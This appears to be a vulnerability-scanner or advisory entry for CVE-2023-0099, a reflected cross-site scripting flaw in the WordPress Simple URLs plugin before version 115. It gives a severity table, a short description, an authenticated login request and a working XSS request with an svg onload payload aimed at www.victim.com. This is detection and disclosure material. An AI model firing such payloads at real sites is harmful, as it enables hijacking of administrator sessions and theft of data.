| Title | Simple URLs < 115 - Cross Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to session hijacking, defacement of websites, theft of sensitive information, and potential remote code execution. |
| Remediation | Fixed in version 115 |
| CVSS Score | 6.1 |
| EPSS Score | 0.5362 |
| CVE ID | CVE-2023-0099 |
| CWE ID | CWE-79 |
| Tags | wpscan packetstorm cve cve2023 xss simple-urls authenticated wordpress wp wp-plugin getlasso vuln |
The plugin does not sanitise and escape some parameters before outputting them back in some pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=VPB93S&pwd=JOqxSO&wp-submit=Log+In
GET /wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
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